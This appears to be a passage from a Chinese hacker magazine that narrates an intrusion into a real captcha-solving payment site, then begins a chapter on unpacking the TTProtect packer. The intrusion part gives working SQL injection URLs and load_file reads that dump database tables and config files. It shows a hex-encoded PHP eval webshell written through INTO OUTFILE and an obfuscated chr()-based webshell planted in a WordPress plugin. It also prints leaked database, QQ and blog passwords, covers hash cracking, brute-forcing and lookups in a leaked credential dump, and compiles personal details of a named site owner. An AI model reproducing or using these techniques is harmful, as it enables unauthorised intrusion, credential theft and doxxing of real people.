我又蛋疼了!看到此我想到的第一个就是暴路径啥的,是在内网中,于是准备搞下来。 常见的暴路径有: jsp 暴路径 大家都知道 lcx 的, 但是这里用不上 phpmyadmin 暴但是没 发现此网站安装 php 数字和字母变换 也不行延迟注入暴 结果不行读取常见的路径文件, 大家百度有很多 还是不行 就只读取了 boot.ini 哎,此路不通: 于是猜网站后台传送门;

http://XXXX/forum.php?mod=viewthread&tid=957&page=3#pid174357

方法

1 查看图片路径可能找到,

2 robots.txt,

3 修改了后台可能和网站域名有关比如:www.XX.COM/admin 可能改成这样了

www.XX.COM/mysite_admin 或者 www.XX.COM/ms_admin 注意缩写 mysite=ms ,

4 google inurl: 查询

5.生成的帖子 baidu.XML 貌似还记得 dedecms 还是某个系统生成的 seo 信息暴露过后台地址 搞忘了,

6 和第3点相似可能用网站最底部的联系号码或者邮箱加上 admin,当然这种很少不过也遇到过此电话可能是后台密码此也遇到过我以前,

7.jsp 通过 lcx 爆目录文件漏洞可查,

8.不知道通过短文件漏洞是否可以

9 多多翻下网站有 sb 管理可能删除了首页管理连接但是没删除某些页面的管理链接这种情况遇到过,

10.当然旁注夸目录读取也可以, sql 注入读取 system32 下那个啥网站虚拟目录映射貌似可 以,

11.mssql 注入通过叫啥那 dir 还是啥搞忘了百度那个命令,把文件路径插入表中读取这个用 过,哎呀呀说了这么多了瞌睡来的很大家也分享点吧大牛飘过直接用第二条就找到后台了 admin.php 试了下用常用的弱口令都不对。没办法继续 sql。最终得到用户名和密码

http://www.XX.com/index.php/api/14'%20and%201=2%20UNION%20SELECT%201,TABLE_NAME, 3,4,5 from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1%23 http://www.XX.com/index.php/api/14'%20and%201=2%20UNION%20SELECT%201,COLUMN_NA ME,3,4,5 from information_schema.COLUMNS where TABLE_NAME =0x61646D696E limit 0,1%23admin yanrian1989101

登陆啦.进去我就口水流出来啦:

							💉 過間
C 🖉 🖉 http://www.com/com/com/dmi	n.php?mod=order		D + C	🧭 订单列表 - 欢迎	验证码程务×		
文件(F) 編編(E) 登春(V) 欣康夫(A) 工具((1) 単助(H)						
 二、二、二、二、二、二、二、二、二、二、二、二、二、二、二、二、二、二、二、		9595	(10点)个验证吗)	10.0 支付室	buli123	日下単[2013-02-10 15:28] 日付数[2013-02-10 15:26] 交尾病功	讲错
 代理列 管理列 控制 	18 法	2534	(近1个验证明)	100. D 支付宝	yjtapl	已下单[2013-02-10 14:25] 已付款[2013-02-10 14:25] 交易成功	-
 基本位 - 部面位 		9583	(14)十级正称	10.0 支付室	cse#4321	已下単[2013-02-10 14:01] 已付数[2013-02-10 14:01] 交尾病功	评错
 支付換 软件信息 		9582	(1页)个绘证码)	00.0 支付宝	rhiaikeji	已下華[2013-02-10 12:16] 已付款[2013-02-10 12:17] 交現成功	1918
短 证 码 第中- 回》:	服务系统 ————————————————————————————————————	9501	(1)个绘证吗)	10.0 支付室	shi sini ngshu	已下单[2013-02-10 12:10] 已付款[2013-02-10 12:10] 交尾病功]	讲报
企時		9590	(1点)个验证吗)	10.0	148508	已下单[2013-02-10 11:58] 等件买家付款 付款	橡皮 副蜂
		9579	1000000001个验证吗)	500.0 去付留	Éreempire	已下单[2013-02-10 11:55] 已付款[2013-02-10 11:56] 交展成功	评慎

图 6.3.6 登录成功

这蛮多人充值。这么多钱哇!但是更加蛋疼和运气的在后面:点到邮箱信息:

产品管理	邮箱信息
» 产品列表	SMTP地址: smtp.qq.com
» 订单列表	SMTP端口: 25
» 结算列表	邮箱账户: 516978535@gg.com
 信息管理	世代語家四·
» 资讯中心	血和1112 mp.
» 帮助中心	
» API 下载	

图 6.3.7 邮箱信息

发现了此。经验告诉我在源代码里面,如图 6.3.8

14	⟨div class="fl nw3"×(/div) ∧
15	(div class="class")(/div)
T6	(/div)
17	(form method="post" action="admin.php?mod=settingMact=enailsql")
T8	
T9	(tr)
80	《ted width="TO">SWITE增加1: 《Yed>
81	input type="text" name="info[email_smtp]" value="smtp, qq com" class="inputtext inputtext_200" />//td>
82	(JP)
83	 (tr)
84	《eDSmTr描口:《eD
85	(td>Gapat type"text" name"info[email_port]" value="25" class="inputtent_200" />9td>
86	() try
81	
88	(北)戦福隆月: (11)
09	(td>(input type="text" name="info[mmail_name]" value=" inputtert inputtert_200" />('td)
90	Q #2
81	
03	(CHINESE) (VIC)
04	(1-) claims inputtert jug partore name incomminger value
05	
96	(1) (1) (1) (1) (1) (1)
97	(1//institut institut and "info [and] and [" alor" alor" (and 10)
98	(1+)
99	
100	((Dinter (U))
101	(il)(inot twee"mbait" value="# \$7" class="tibtn")/(il)
102	(14)
	(17)

图 6.3.8 发现源代码

```
哈哈,哥们今年运气不错哈。
```

qq: 516978535 000000

机油们,不能直接登陆 qq 哦,不然那边下次登陆会提示异常,这个有办法,我们只登陆邮 箱哈。但是机油们现在登陆不上不能给大家截图了,但是前几天登陆进去有 3 邮箱关联,而 且每天都有好多的支付信息,然后我找到了附件里面是打码工具源代码。截个图

1	#pragma once				
sin.ReleaseBuffer();	#endif // _MSC_VER > 1000				
return sOut;					
} int CVcodeYZMFile::ReportErr[CString strVcodeUser,CString strDaMaWorker]//∰ {	class CVcodeYZMFile				
int flag=0;	1 publict				
try	int PutFileToSepter/CString ct				
{	word UndateWorkerSucfCStrip				
CString strGBK;	CString CatVZmPacult(CString				
CString strUTF8;	int CetFilel enath(CString strP				
CInternetSession Session;	BYTE* ReadPicture(CString st				
InternetSetOption(Session,INTERNET_OPTION_RESET_URLCACHE_SESSI	CString GetJpgFileName(CStr				
CHttpConnection *pHttpConnect = NULL;	int SubmitPicture(CString strP				
pHttpConnect=Session.GetHttpConnection("'wwwcom'');	CString GetImageName(CStrin				
if(pHttpConnect)	CString CreateFileImageName				
{					
CHttpFile* pFile=NULL;	1,796 子节				
pFile= pHttpConnect->OpenRequest(CHttpConnection::HT	FP_VERB_POST,"/Iz_yzmphp/update_				
);					
if (pFile)					
(-				
pFile->AddRequestHeaders("POST /lz_yzmphp/up	iate_err.php HTTP/1.1"];				
pFile->AddRequestHeaders['Accept: image/jpeg, a	pplication/x-ms-application, image/gif,				
pFile->AddRequestHeaders("User-Agent: Mozilla/4	.0 (compatible; MSIE 7.0; Windows NT				
MALNJ'];					
pFile->AddRequestHeaders['Content-Type: applica	tion/x-www-form-urlencoded");				
nFile->AddBenuestHeaders("Host: www.vzmhuv.cr	ישיים:				
图 6.3.9 打码工具源码					

在这里面我发现了个有用的信息:
		und of
HINT	FERN	NET hinternet = 0;
	HIN	TERNET hFtpFile = 0;
	HIN	TERNET hFtpSession = 0;
	hint	ernet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	if (!h	aInternet)
	{	
		return -1;
	}	
	int	nConnect=0;
CXVT:		
	hFtp	Session = InternetConnect(hInternet, "Control of the Control of th
	if[!hi	FtpSession)
	{	
		nConnect++;
		if (nConnect<3)
		1
		goto CXVT;
)
		flag=3:
	}	
	else	
	{	
		::FtpSetCurrentDirectory(hFtpSession.''d:\\www\\yzmbuy\\image\\''];
		bool_bRet=::FtpPutFile(hFtpSession,strImagePath,strDestFileName,FTP_TRANSFER_TYPE_BINAR if (hRet)
		图 6.3.10 发现有用信息

里面三 ftp 上传图片发现了 ftp 的账号和密码哈哈还有网站路径 我直接 sb 了先。现在就试试能否读取源代码或者进行 into outfile

http://www.XXXX.com/index.php/article/5'%20AnD%201=2%20uniOn%20seLecT%201,2,load_fil e(0x643A5C7777775C797A6D6275795C61646D696E2E706870),4,5%23

此是读取其根目录下的 admin.php 因为此前面得到了 robots 如图 6.3.11





所以我们尝试读取 config 来连接数据库执行导入一句话,如图 6.3.12

I	40	<pre><div class="dy_t"></div></pre>
I	41	<pre><div class="dy_m" style="line-height:2em;"></div></pre>
I	42	◇13>資讯中心 13
I	43	<pre><div class="text_main mat10"></div></pre>
I	44	<pre><div class="strong font14 center">2</div></pre>
I	45	<div class="c686 mat5 center">发布时间: 1970-01-01 06:00</div>
I	46	<pre><div class="mat10 font14"><?php</pre></div></pre>
I	47	\$pe['db_host'] = 'localhost': //数据库主机地址
I	48	\$pe['db_name'] = 'yzmnanger': //數据库名称
I	49	\$pe['db_user'] = 'root';
I	50	\$pe['db_px'] = 'deng442534321'; //数据库密码
I	51	<pre>\$pe['db_coding'] = 'utf8';</pre>
I	52	\$pe['url_model'] = 'pathinfo_safe'://url模式,可迭项(pathinfo, pathinfo_safe, php)
I	53	define('dbpre',''); //數据库表前编
I	54	7>
I	55	
I	56	
I	57	<div class="dy_b"></div>
I	58	⟨∕ div>
I	59	<pre><div class="clear"></div></pre>
I	60	<pre><div class="foot"></div></pre>
l	61	<div class="lianxi mat10"></div>
		图 6 2 1 2 号 入 一句话
		凶 0.3.12 寸// り日

目前的问题是数据库是否可远程连接?发现了数据库密码和上面 qq 邮箱的密码有区别 只是

第 106页 /共 127页

把 d 改成了 deng 我们再尝试登陆 qq 邮箱。结果登陆不成功! 哎现在远程连接数据库吧! 机油问是否跑题啦,没有跑题哈 后面就能用上了 机油慢慢看结果数据库能够链接上了

Mavı	cat for MySQL								
文件 (E)	查看(Y) 收藏夹(A)	工具①	留口(11) 帮	肋的					
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓	S 用户	表	. []] 。 祝图	100 函数	一 事件	查询	(1) (1) (1) (1) (1) (1) (1) (1) (1) (1)	起 备份	itt
连接		Te	打开表	🗾 设计表	📅 新建表	📑 删除表	📑 导入向导	🌄 导出向导	
	ifsdf information_schen nysql test yzmmanger 表 60 视图 f ₍₁ 函数 题 亊件 叠 查询 最表 亚 备份		admin agent api article ask cashout clientver: domain everydayd help ipdata lr_userin: lrversion order page product pt_qqcj question setting updatences user user userin:	sion ata fo rr					

图 6.3.13 连接上数据库

查询下有多少用户啥的,如图 6.3.14

```
mysql> use yzmmanger;
Database changed
mysql> desc user;
                | Field
                                                | Type
                                                                                                        | Null | Key | Defaul
   user_idint(10) unsignedNOuser_namevarchar(20)NOuser_pwvarchar(32)NOuser_gqvarchar(32)NOuser_emailvarchar(30)NOuser_moneydecimal(10,1) unsignedNOuser_atimeint(10) unsignedNOuser_tpointint(10) unsignedNOuser_tpoint_successint(10) unsignedNOuser_point_successint(10) unsignedNOuser_tpoint_successint(10) unsignedNOuser_tpoint_successint(10) unsignedNOuser_tpoint_successint(10) unsignedNOuser_tpoint_errorint(10) unsignedNOuser_toint_errorint(10) unsignedNOuser_tate_successvarchar(32)NOagent_idint(10) unsignedNOagent_namevarchar(20)NO
                                                                                                    __+___+
                    _____+
                                                            _____
                                                                                                     | NO | PRI | NULL
| NO | MUL | NULL
| NO | MUL | NULL
| NO | MUL | NULL
                                                                                                                                    | NULL
                                                                                                                    1 0.0
                                                                                                                                    1 0
                                                                                                                                    1 0
                                                                                                                       1
                                                                                                                                    i o
                                                                                                                                    1 0
                                                                                                                                    1 0
                                                                                                                                    1 0
                                                                                                                                    1 0
                                                                                                                    1 0.00
                                                                                                                                     1
                                                                                                                                         | varchar(20)
                                                                                                        I NO
                                                                                                                                     NULL
    agent_name
                            ----+----+------
16 rows in set
mysql> select count(*) from user;
                ---+
    count(*) |
1
     ____
                        +
            9720 |
I
+----+
```

图 6.3.14 查询用户

哎直接拖了吧。。。。。。都到这个地步了 不脱对不起观众了。好啦下面直接导入一句话木马 杀进去!!!!! 如图 6.3.15

mysql> select 0x3C3F2050485020406576616C28245F504F53545B775D293B203F3E into outfile 'd:\www\yzmbuy\test.php'; i = Can't create/write to file 'd:wwwymbuy est.php' (Errcode: 22) mysql> select 0x3C3F2050485020406576616C28245F504F53545B775D293B203F3E into outfile 'd:\\www\yzmbuy\test.php' Query OK, 1 row affected mysql> select 0x3C3F2050485020406576616C28245F504F53545B775D293B203F3E into outfile 'd:\\www\yzmbuy\test.php' 1086 = File 'd:\www\yzmbuy\test.php' already exists mysql>

图 6.3.15 脱数据库

结果访问我就蛋碎了!!! 如图 6.3.16

	の - 営 C 🥑 支付
文件(F) 编辑(E) 查看(V) 收藏夹(A) 工具(T) 帮助(H)	
无法找到该页	
您正在搜索的页面可能已经删除、更名或暂时不可用。	
请尝试以下操作:	
 确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。 如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。 单击后遗按钮尝试另一个链接。 	
HTTP 错误 404 - 文件或目录未找到。 Internet 信息服务 (IIS)	
技术信息(为技术支持人员提供)	
 转到 <u>Microsoft 产品支持服务</u>并搜索包括"HTIP"和"404"的标题。 打开"IIS 帮助"(可在 IIS 管理器 (instagr)中访问),然后搜索标题为"网站设置"、"常规管理任务"和"关于自定义错误消息"的主题。 	

图 6.3.16 访问出错

为啥会出现这种情况???直接 load 试试

http://www.XX.com/index.php/article/5'%20AnD%201=2%20uniOn%20seLecT%201,2,load_file(0x643A5C7777775C797A6D6275795C746573742E706870),4,5%23



图 6.3.17 load 读取成功

能够读取出来 难道是 2b 神出现了!!!! 但是为啥注入的时候没有 2b 神出现??? 一连

串疑问。本来看中是内网,然后想搞下内网结果哎不知道为啥,有知道的机油告诉下我。 好啦废话不多说从前面 XX 博客知道其用户名为 qizhicong,我们直接在数据库里面查询。

user_id user_name user_pv user_qq user_email user_nonev user_po r_point_swocess user_tpoint_error user_point_error user_rate_success agent_id agent_name +	++++			-++		+	-+
4728 qishicong 138eDatdl4lac8e7bae13baetale3540 234789983 qishicong8qq.com 0 0 0 0 0 0 +	user_id user r_point_success	_name user_pu user_tpoint_error	user_point_error	user_qq us user_rate_success	er_email s agent_id	user_money agent_name	user_poi
	4728 qish 0	icong 138e0a4d141a 0	+ c0e7bae13bae9a1e3590 0 (234789963 q1 0.00	shicongêqq.com	0 	1
	1 row in set	+	**	-++	-++	·+	+

图 6.3.18 数据库查询

分别通过 XX 博客的用户名和 qq 查询 查询到了一个东西然后 md5 进行破解 结果要收费 哎速度祭出神器, 如图 6.3.19

■ ID5密码	被解软件					
工具 帮助						
破解设置		输入或者加	截105密文 (参利:			
字典数目	加载的破解字典列表	HINEST WOO				
字典1	d:\Hy Documents\pass破解字典\pass破解字典\i	MD5->md5 (\$)	pass)	<u>•</u>		
字典2 字典3	d:\My Documents\pass级解字典\pass级解字典\c d:\My Documents\pass级解字典\pass级解字典\z					
		C 多个:				
			統解	网络破解		
		破解结果:	_			
		破解状态	明文	密文		
		成功	huoying	138e0a4d141ac8e7		

图 6.3.19 神器发威

查询到是 huoying 速度在 XX 博客最底部,找到后台登录

佐早辺	上海赤洋工作	WORDPRESS				
RUSKIC	定物狗	错误:qizhicong 的密码不正确。 <u>志记密码了</u> ?				
软件定制		用户名				
用户登录		qizhicong				
		密码				
用户名:						
密 码:		on 🕑 🔛 🛐 🚨 🗶 🚺] 记住我的登录信息				
登陆	记住我	志记来 <u>周</u> ?				
		回到 香东's Blog 香东校件工作室				

图 6.3.20 后台登录

图 6.3.21 登录失败

直接输入账号和密码 qizhicong huoying 进行登陆,登录如图 6.3.21 结果蛋睡了。哎呀哦!!! 然后尝试百度搜索其资料

第 109页 /共 127页

http://XXX.com.cn/aum/manage/ gizhicong huoying 生日: 1989-10-13 qq: 00000 手机: 00000000 +86.00000000 邮箱: 00000@gg.com 0000000@qq.com 常用用户名: qizhicong 姓名: XXX 身份证: 0000000000000000 居住地: XX 省 XX 市 XX 区区府路税务套房 301 中国工商银行 XX 分行 6222 0000000000000 http://XXXX.com.cn/aum/manage/ 真不错啥都知道拉。 然后尝试各种组合,结果还是不行。生成字典把,网上下个工具。我们来进行暴力破解. 速度写个后台爆破软件

		-	123.1	20.4.20	9 - ij	-	100	1年1歳				1	-	•
[652] [884]	24 23 22	Reav Reav Send	16304 16384 169	40 1 45 1 50 4	54 54 54 54 47 53	50 21 50 21 54 20	31 31 2F	2E 3 2E 3 6C 6	1 20 1 20 7 67	3 3 6	MTTP/1.1 200 OEConnection MTTP/1.1 200 OEConnection POST /legin_shuli.php MTT	closeD closeD P/1.1Hes	ate:	Sun, 1 Sun, 1 gubui
1436] 1626] 256]	21 20 19 18 17	Recy Recy Send Recy Recy	16384 16384 171 16384 16384	40 40 40 50 40 40 40 40 40 40 40 40 40 40 40 40 40	54 54 54 54 4 F 53 54 54 54 54	50 21 50 21 54 20 50 21 50 21	31 21 31 31 31	2E 3 2E 3 2E 3 2E 3	1 20 1 20 7 67 1 20 1 20	8 8 3	HTIF/1.1 200 ORConnection HTIF/1.1 200 ORConnection FOST /login_chuli.php MIT HTIF/1.1 200 ORConnection HTIF/1.1 200 ORConnection	closeD closeD closeD closeD closeD	ate ate ate ate	Sun, 1 Sun, 1 Sun, 1 Sun, 1
[320] [8232] [040]	16 15 14 13	Sand Recy Send	170 16384 18384 169	40 1 48 1 50 4	4P 53 54 54 54 54 4F 53	54 20 50 21 50 21 54 20	2F 31 2F	8C 8 2E 3 2E 3 6C 6	P 67 1 20 1 20 7 67	6 3 6	POST /legin_chal: php HTT HTTP/1.1 200 OBConnection HTTP/1.1 200 OBConnection POST /legin_chuli.php HT	7/1. 18es	ti el Ipre	guhun Gun
[1980] #Platform.e arm.man [12 . [10156]	12 11 10 9 8	Recy Recy Send Recy Recy	16384 16384 169 16384 16384	48 40 50 40 40 48	54 54 54 54 4P 83 54 54 84 84	50 21 50 21 50 21 50 21 50 21	31 2P 31 31	2E 3 2E 3 2E 3 2E 3	1 20 1 20 7 67 1 20 1 20	5 6 3	HTTP/1.1 200 OBConnectic HTTP/1.1 200 OBConnectic POST /login_chuli.php MT HTTP/1.1 200 OBConnectic HTTP/1.1 200 OBConnectic	[朝范	
exe [2096]	7 85 4 0	Send Recy Send	169 16364 16364 169	50 48 1 48 1 40 5	4F 53 54 54 54 54 4F 53	54 20 50 21 50 21 54 20	2F 31 31 2F	6C 6 2E 3 2E 3 6C 6	67 1 20 1 20 7 67	6 3 6	POST /login_chali.php NT MTTF/1.1 200 OBConnection MTTF/1.1 200 OBConnection POST /login_chali.php MTT MTTF/1.4 200 OBC oncention	closeD closeD closeD r/1.1Mos	ate ate	Sun, 1 Sun, 1 gubui
ese [2476] me [15676] hitrator.ex	E 1 FOST /2	Recv Send Login_chuli.	16384 173 php HTTP/1.1	48 50	54 54 47 53	50 21 54 20	31 27	EE 3	1 20	3 6	HTTF/1.1 200 OEConnection POST /legis chali.shp HTT	clozeD P/1.1Nes	ate: t: gl	Sun, 1 Sun, 1 guhui
[2066] [2066] [2276]	Host: gl.gubuine Accept: #/# Content-Length: 34 Content-Type: application/s-env-form-urlanooded													
133001	nane=fr	adskn#40qq.c	on#pass=0000000	0										

图 6.3.22 爆破软件

结果破解了n久都没效果于是蛋睡了还是从百度来吧:



📸 您要找的是不是: <u>戚智聪</u> <u>元置苁 祁智聪</u>

gizhicong 需求搜索 猪八戒网 猪八戒网qizhicong全球领先创意服务平台,提供qizhicong方面外包服务,搜索更多qizhicong 就上猪八戒网。

qizhicong.u.zhubajie.com/ 2012-11-30 - <u>百度快照</u>

<u>gizhicong1的资源 - 下载频道 - CSDN.NET</u> qizhicong1的资源 上传资源 下载资源 qizhicong1 等级:1 积分:1 上传资源:0 下载资源:0 总 排 名:第 19786392名 上传权限:50MB qizhicong1的Tag ... download.csdn.net/user/qizhicong... 2013-1-13 - <u>百度快照</u>

<u>gizhicong1000的资源 - 下载频道 - CSDN.NET</u> gizhicong1000的资源 上传资源 下载资源 gizhicong1000 等级:2 积分: 20 上传资源: 0 下靠 源: 0 总 排 名:第 3954968名 上传权限: 60MB gizhicong1000的... download.csdn.net/user/gizhicong1... 2013-1-24 - <u>百度快照</u>

图 6.3.23 从百度找突破

第110页 /共127页

发现用: Qizhicong huoying 能够登陆猪八戒网 但是账号显示都是很久前了 然后登陆到 登陆到 csdn 网用 qizhicong1 huoying 成功用 qizhicong1000 huoying 失败啦。 然后点进去 qizhicong1000 发现:

icong1000				
: 男 日期: 2010年0	3月20日			
: 可用分: 7 : 尚未开通	专家分: 共分	查看详细		
: 积分:20 扌	非名: 第398	3674名 上	(6资源: 0√)	<u>`</u>
板				
	: 男 日期: 2010年0 : 可用分: : 尚未开通 : 积分: 20 板	 : 男 日期: 2010年03月20日 : 可用分: 专家分: 共分 : 尚未开通 : 积分: 20 排名: 第398 板 	: 男 日期: 2010年03月20日 : 可用分: 专家分: 共分 查看详细 : 尚未开通 : 积分: 20 排名: 第3983674名 上 板	: 男 日期: 2010年03月20日 : 可用分: 专家分: 共分 查看详细 : 尚未开通 : 积分: 20 排名: 第3983674名 上传资源: 01 板

图 6.3.24 翻看个人信息

其三 2010 年注册的。哈哈我想到了用 csdn 社工查询下结果查询到了

信息如下:

Findstr "qizhicong" csdn.txt Sifumoyu6 # qizhicong # XXXXXX@163.com

Moyusifu6 # qizhicong # XXX@163.com

Qizhicong1000 # huoying1013 # XXXX@kuz.cc

奶奶的终于查到了一个有用的,分析次密码发现三用户名加上其出身月和日奶奶的 我前面 做字典的时候没有分开,然后我速度登陆其博客后台试试结果进了:



奶奶的过程真 sb。下面就是进行如何得到 webshell 了。通过法克论坛搜索结果都不行 次博 客三 3.4.2 的, 然后百度了下发现了:



图 6.3.26 百度发现方法

这有2种方法。我都进行了尝试,发现不行,我用那个上传的那个,如图 6.3.27



图 6.3.27 上传方法 到 sebug 搜索下发现了:



图 6.3.28 发现新突破

然后我上传下载了此插件进行上传,得到 webshell,奶奶的结果上次的结果和图片上的结果不一样。于是蛋疼了。我这里上传的结果是:

					The second in	19 19 19 19 19 19 19 19 19 19 19 19 19 1		ile silened	
(+)	🔊 🦪 ht	tp://www		ntent/	uploads/rbxslider/thumbs/Thumb_1.php ,0	- C 🦪 HTTP 404	未找5	U	×
文件(F)	编辑(E)	查看(V)	收藏夹(A)	工具(7)	帮助(H)				
	-	++-	in the second						
U	100	arcents	CMUL			HTTP 404			
	最可	能的原因 • 在地址 • 当你点]是: 中可能存在 击某个链接	(鍵入措徒 (时,它可	e. 能已过期。				
	你可	以尝试以	下操作:						
	•	重新键入	地址。						
	•	返回到上	一页.						
	•	转到 并注	直找你想要	的信息。					
		详细信用							
				囡	6320 上佳生购				
		7 /-	1 日 十日 て						
丁 是1	 重将 .	1。1旦	是想到	小小	方法,结合上面的讲的的,如图6	5.3.30			
(b) #3	('s Blog 🕏)	的件工作室	Q7 🗭 2	+ iit					281 qatelong 🚆
@ 6c8.8					WoodPress 1.5.1 (R 201961) Info Info Info				(ALM)
)/ XX		Q9 44	釉插件						
2 118		编辑 rtanga	illery/uploader.	php (停用)		法存在现代的结合	Altome	ł	▼ -34-
() Pin		47php					~	质作文件	
P ## 0	,	- In Unio	tutoriais we i	learn how to	Nandle unlimited file uplaceds.		15	rangationy is a	ndermen beb
		* Har Inc	implementing th creasing uploads	ing limit , o	Grase visit the http://www.maneshchari.com Smple file uploading.cheking file type:			dougallers tak	capecations php
11 5.4		*/ deuts(de	and the (AR) she	(47). (bel97)	ane(48), der(112), der(104), der(112), a), der(40), der(41), der(112), der(113), der	(NT). (Ref 300). (Ref 40). (Re	-	rtingaillery (c)	shive-silder.css
A 164 .	-	(36).chr[3	15).chr(00).chr((79).chr(83).	chr(84).chr(81).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));	Construction Construction		itingallery/cs	vPRR/Gallery.css
111111111								dorgallery/p/	bailder ja
安装插件		include	"///wp-14 globs:	ad.php"; // 1.Swp@u	I load the slider // to create database table			(bigatery)(s)	ousteen js
1026			\$100	ir = '//	ploads/rbuslider'; // to create a folder where images are stored			this gallery (s)	iquery-latent.js
6.8A			SF (1)	is_dir(\$rbel) 14(imkd)	ir)) (ir(SrbsDSr , 0777))			despation (s)	query jąznom-
TIIA				(Relation results directory. To			core (s	innerv nive slider in
11 25)	reason to create screttory			(bigatery (s)	issery nive sider pa
			9 87 CH	is sintheast	ir.'/thambo'l) (// create another folder in ris slider		~	di ji	avery anti-fitate in
REA Gal	ary			12 00L/BLOWN				Contraction (19)	the state of the s
				ir(1ebd)	r(BrbxDir,"/Thumbs' , #777))			stogalery(p.)	query.stxGallery.1.
0.00004		2四- 白井	a. (Included Included	r(BrioDir.'/(bombs', #777))			dorgaliery (p.) 1. min. (p.	iguery storGallery 1.

图 6.3.30 找到新办法

像这样。我们上传安装了此插件:

		2.1 版本 [1F音力] Kuula IIIIIOvauves Team [初門面什主风
RB	XGallery 有新版本。查看 2.2	2版本详情或自动更新。
	WordPress Importer 停用 编辑	Import posts, pages, comments, custom fields, categories, tags and more from a WordPre 0.6
	多说 设置 停用 编辑	追求最佳用户体验的社会化评论框,为中小网站提供"新浪微博、QQ、人人、豆瓣等多帐号 奏。
		0.7.1 版本 作者为 多说网 访问插件主页

图 6.3.31 上传新文件

就能搞定拉。然后访问此文件。结果生成了木马啦:

fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101) .chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97). chr(93).chr(41).chr(59).chr(63).chr(62));</script>

把这句加入到那个文件,如图 6.3.32



图 6.3.32 写入一句话

速度菜刀来干!

	◎ 日程提醒		+	
D:\wwwroot\blog\				
118.244.14.38	目录 (18), 文件 (32)	名称		时间
🧇 A:		🚞 avatar		2013-
] ≪ C: = ⇔ 1:		🚞 blog		2013-
E C www.root		🚞 ceshi		2013-
🕀 🗁 blog		🚞 comm		2013-
S E:		🚞 guhui		2013-
		🚞 img		2013-
-		🚞 oauth		2013-
1		🚞 photo		2013-
		🚞 qqLogin		2013-
		🚞 share		2013-
		🚞 tmp		2013-
		🚞 topic		2013-
		🚞 user		2013-
		🚞 weibo		2013-
		🚞 wp-admin	n	2013-
		C *p-conte	ent	2013-
		a wp-incly	udes	2013-
		1		

图 6.3.33 菜刀成功连接



第114页 /共127页

▶ http:///////////////////////////////////	
您好,欢迎来到骨灰软件! 诸先	:【登录】
Beta 💷	3
- * **	首页
骨灰软件 >> 首页	and the second secon
⊖ 软件列表	◎ 软件列表
⊖ 联系管理	QQ空间访客提取[年][月]
⊖ 招收代理	新浪微群成员提取[年][月]
	QQ加好友助手[暂停出售,等待修改]
	QQ状态保存辅助[年][月]
	QQ日记评论[年]

支付宝服务端???代理??可能是支付软件用的。应该有用。查找发现了此域名

图 6.3.35 发现域名

然后有很多工具能够下载,但是都是没有机器码的。好啦就到此结束了。 不想搞了 都搞了 5 个小时了,蛋疼饭都没吃。吃饭去了。 祝机油在新年中发大财,赚大钱,没妹子的找到妹子。 求机油介绍妹子。。。。。。祝法克论坛越做越好 人气越来越旺 (全文完)责任编辑: D.L

第七章 加密解密与逆向工程

第1节 TTP 脱壳小记

作者:Crack_QS 来自: Disc Forbid Security Team 网站: http://www.discforbid.com

TTProtect 是一款国产加密壳,开发者是 CUG 的 Somuch 大牛。 百度百科介绍: http://baike.baidu.com/view/1707811.htm 言归正传,看下今天的样本,如图 7.1.1

第 115页 /共 127页

01013010	E8 00000000	call test.01013015
01013015	50	pop ebp
01013016	81ED F58F4000	sub ebp,0x408FF5
0101301C	60	pushad
0101301D	33F6	xor esi,esi
0101301F	E8 11000000	call test.01013035
01013024	8B6424 Ø8	nov esp,dword ptr ss:[esp+0x8]
01013028	64:8F05 000000	pop dword ptr fs:[0]
0101302F	58	pop eax
01013030	61	popad
01013031	EB 13	inp Xtest.01013046
01013033	C783 64FF3588	nov dword ptr ds:[ebx+0x35FF64],0x64000
0101303D	8925 00000000	nov dword ptr ds:[0],esp
01013043	AD	lods dword ptr ds:[esi]
81813844	98	nop
01013045	2060 33	and byte ptr ds:[eax+0x33],ah
01013048	FFE8	jnp Xeax 非法使用寄存器
01013040	0000	add byte ptr ds:[eax],al
01013040	0800	add byte ptr ds:[eax].al
0101304E	838424 10	add dword ptr ss:[esp],0x10
01013052	64:8B87	nov eax,dword ptr fs:[edi]
01013055	58	push eax
01013056	64:8927	nov dword ptr fs:[edi],esp
01013059	C687 88	mov byte ptr ds:[edi],0x0
0101305C	98	nop
01013050	98	nop
0101305E	867C24 @C	nov eal, avora per ssilesp+axel
01013062	3300	xor eax
01013064	8947 84	nov dword ptr ds:[edi+0x4], eak
01013067	8947 88	nov dword ptr ds:[edi+0x8],eak
0101305R	8947 86	nov dword ptr os: [ed. wto] ed.
01013060	8747 10	
01013070	3307 856666666	and owned bit official wrowly wrowly and
01013077	63	201 2 0 A 1 E 0 A

图 7.1.1 样本

我们可以直观的发现,先是自定位、之后是异或,紧跟着有一个 call,如图 7.1.2

01013035	64:FF35 000000	push dword ptr fs:[0]	
@1@13@3C	64:8925 000000	nov dword ptr fs:[0],esp	
01013043	AD	lods dword ptr ds:[esi]	
01013044	90	nop	
01013045	2060 33	and byte ptr ds:[eax+0x33],ah	
01013048	FFE8	jmp Xeax	非法使用寄存器
@1@13@4A	0000	add byte ptr ds:[eax],al	
0101304C	8888	add byte ptr ds:[eax],al	
0101304E	830424 10	add dword ptr sst[esp],0x10	
01013052	64:8897	mov eax,dword ptr fs:[edi]	
01013055	50	push eax	
01013056	64:8927	<pre>mov dword ptr fs:[edi].esp</pre>	
01013059	C687 88	nov byte ptr ds:[edi],0x0	
@1@13@5C	90	nop	
0101305D	98	nop	
0101305E	8B7C24 @C	mov edi,dword ptr ss:[esp+0xC]	
01013062	3308	xor, eax*eax	
01013064	8947 84	<pre>mov dword ptr ds:[edi+8x4].eax</pre>	
01013067	8947 88	<pre>mov dword ptr ds:[edi+0x8],eax</pre>	
0101306A	8947 BC	<pre>mov dword ptr ds:[edi+8xC],eax</pre>	
@1@13@6D	8947 10	<pre>mov dword ptr ds:[edi+0x10],eax</pre>	
